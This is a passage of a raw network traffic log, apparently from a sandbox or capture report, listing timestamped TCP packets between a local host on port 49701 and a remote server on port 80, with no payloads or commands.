Nov 24, 2022 13:27:50.209517002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209542036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209546089 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209564924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209585905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209593058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209606886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209628105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209635019 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209657907 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209681034 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209687948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209713936 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209741116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209742069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209769964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209795952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209800959 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209821939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209844112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209851980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209866047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209887981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209894896 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209913015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209942102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209942102 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209970951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209994078 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210115910 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210153103 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210174084 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210187912 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210201979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210239887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210247993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210289955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210318089 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210330009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210392952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210402012 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210427046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210472107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210499048 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210525036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210552931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210582018 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210623980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210623980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210623980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210658073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210691929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210711002 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210719109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210746050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210772038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210798025 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210803032 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210824966 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210830927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210851908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210870981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210889101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210921049 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210937977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.210946083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.210992098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.228914976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.228965998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.228981972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229011059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229046106 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229082108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229115009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229115009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229132891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229151964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229168892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229181051 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229187012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229206085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229208946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229223967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229240894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229257107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229259968 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229276896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229281902 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229295015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229311943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229321003 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229330063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229347944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229363918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229373932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229382992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229399920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229406118 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229418039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229434967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229444981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229454041 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229470968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229482889 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229489088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229526997 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229804039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229830980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229857922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229882956 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229892969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229926109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229932070 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.229960918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.229988098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230004072 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230005026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230032921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230046034 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230051041 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230077982 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230088949 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230108023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230132103 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230144024 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230150938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230169058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230185986 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230186939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230206013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230222940 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230226994 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230241060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230258942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230266094 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230278969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230295897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230309010 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230314970 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230333090 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230333090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230353117 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230370998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230396032 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230431080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230777025 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230842113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230869055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230892897 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230918884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230957031 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.230961084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.230986118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231013060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231028080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231049061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231067896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231085062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231090069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231102943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231120110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231128931 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231138945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231156111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231164932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231173992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231190920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231200933 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231208086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231225967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231235981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231241941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231259108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231261015 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231283903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231302023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231303930 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231318951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231337070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231348038 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231359005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231390953 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231748104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231765032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231785059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231806040 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231807947 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231836081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231848955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231853962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231880903 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231889963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231940985 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.231946945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.231978893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232008934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232022047 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232033014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232050896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232067108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232075930 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232084990 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232103109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232110977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232120991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232137918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232147932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232155085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232172966 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232178926 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232191086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232208967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232215881 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232225895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232243061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232259989 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232264042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232289076 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232486010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232546091 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232795000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232821941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232863903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232868910 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232892036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232918024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232939005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.232948065 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232980967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.232990980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233006954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233050108 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233052015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233071089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233087063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233103991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233108997 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233122110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233139992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233148098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233156919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233175039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233185053 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233191967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233210087 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233222008 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233227968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233247042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233258963 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233264923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233283043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233299017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233299971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233319998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233329058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233336926 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233372927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233809948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233829021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233874083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233876944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233912945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233930111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233932972 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233961105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.233983994 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.233985901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234023094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234030962 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234049082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234075069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234091997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234093904 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234122038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234133959 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234138966 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234157085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234174013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234180927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234190941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234208107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234215975 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234225035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234241962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234251022 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234258890 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234276056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234292984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234301090 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234323025 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234328032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234344959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234361887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.234371901 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.234404087 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.242342949 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.242489100 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.247726917 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247764111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247778893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247812033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247848034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247874022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247890949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247889042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.247920036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247946024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247961998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.247972012 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.247980118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248008966 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248019934 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248019934 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248027086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248054981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248069048 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248071909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248106956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248123884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248141050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248141050 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248157978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248174906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248184919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248192072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248209000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248224974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248233080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248244047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248260975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248275995 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248277903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248296022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248312950 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248337984 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248708963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248735905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248753071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248774052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248800039 CET	49701	80	192.168.2.4	66.235.200.147
